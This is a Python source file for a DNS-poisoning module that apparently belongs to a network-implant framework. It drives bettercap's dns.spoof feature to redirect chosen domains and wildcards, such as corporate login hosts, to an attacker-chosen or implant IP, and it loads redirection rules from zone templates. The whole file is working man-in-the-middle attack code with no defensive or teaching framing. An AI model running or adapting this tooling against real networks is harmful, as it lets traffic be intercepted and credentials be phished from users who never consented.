#!/usr/bin/env python3
"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API.

Template-driven zone files are converted to bettercap dns.spoof.domains
format. Supports selective domain redirection and wildcard matching.
Zone templates live in templates/dns_zones/.
"""

import logging
import os
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule

logger = logging.getLogger("bb.active.dns_poison")


class DNSPoison(BaseModule):
    """DNS poisoning via bettercap dns.spoof module.

    Dependencies:
        - bettercap_mgr must be running.

    Configuration:
        domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local")
        target_ip: IP to redirect poisoned domains to (default: implant IP)
        zone_file: Path to zone template for selective redirection
    """

    name = "dns_poison"
    module_type = "active"
    priority = 200
    requires_root = True
    dependencies = ["bettercap_mgr"]

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._bettercap_mgr = None
        self._poisoning = False
        self._domains: Optional[str] = None
        self._target_ip: Optional[str] = None
        self._zone_dir = config.get(
            "zone_dir",
            os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"),
        )

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        self._bettercap_mgr = self.config.get("bettercap_mgr")
        if not self._bettercap_mgr:
            logger.error("DNSPoison requires bettercap_mgr reference in config")
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        self.state.set_module_status(self.name, "running", pid=self._pid)
        logger.info("DNSPoison module started (ready for poison commands)")

    def stop(self) -> None:
        if not self._running:
            return

        if self._poisoning:
            self.stop_poison()

        self._running = False
        self.state.set_module_status(self.name, "stopped")
        logger.info("DNSPoison module stopped")

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "poisoning": self._poisoning,
            "domains": self._domains,
            "target_ip": self._target_ip,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)

    # ------------------------------------------------------------------
    # Public API
    # ------------------------------------------------------------------

    def poison(self, domains: str, target_ip: str) -> bool:
        """Enable DNS poisoning for specified domains.

        Args:
            domains: Comma-separated domains or wildcards
                     (e.g., "*.corp.local,login.example.com").
            target_ip: IP address to redirect poisoned domains to.

        Returns:
            True if DNS poisoning was enabled successfully.
        """
        if not self._running or not self._bettercap_mgr:
            logger.error("DNSPoison not started")
            return False

        try:
            self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}")
            self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}")
            self._bettercap_mgr.run_command("dns.spoof on")

            self._poisoning = True
            self._domains = domains
            self._target_ip = target_ip

            self.state.set(self.name, "domains", domains)
            self.state.set(self.name, "target_ip", target_ip)
            logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip)
            return True

        except Exception:
            logger.exception("Failed to enable DNS poisoning")
            return False

    def load_zone(self, zone_file: str) -> bool:
        """Load a zone template and apply DNS poisoning rules.

        Zone file format (one entry per line):
            domain.com  10.0.0.0
            *.corp.local  10.0.0.0
            # comments ignored

        Args:
            zone_file: Filename within the zone_dir (e.g., "selective.zone").

        Returns:
            True if zone was loaded and applied.
        """
        zone_path = os.path.join(self._zone_dir, zone_file)
        if not os.path.isfile(zone_path):
            logger.error("Zone file not found: %s", zone_path)
            return False

        try:
            domains = []
            target_ip = None

            with open(zone_path, "r") as f:
                for line in f:
                    line = line.strip()
                    if not line or line.startswith("#"):
                        continue
                    parts = line.split()
                    if len(parts) >= 2:
                        domains.append(parts[0])
                        # Use the last IP seen as target
                        target_ip = parts[1]
                    elif len(parts) == 1:
                        domains.append(parts[0])

            if not domains:
                logger.warning("Zone file %s contains no entries", zone_file)
                return False

            if not target_ip:
                target_ip = self.config.get("implant_ip", "127.0.0.1")

            return self.poison(",".join(domains), target_ip)

        except Exception:
            logger.exception("Failed to load zone file: %s", zone_file)
            return False

    def stop_poison(self) -> bool:
        """Disable DNS poisoning.

        Returns:
            True if DNS poisoning was stopped successfully.
        """
        if not self._bettercap_mgr:
            return False

        try:
            self._bettercap_mgr.run_command("dns.spoof off")
            self._poisoning = False
            self._domains = None
            self._target_ip = None

            self.state.set(self.name, "domains", "")
            self.state.set(self.name, "target_ip", "")
            logger.info("DNS poisoning disabled")
            return True

        except Exception:
            logger.exception("Failed to disable DNS poisoning")
            return False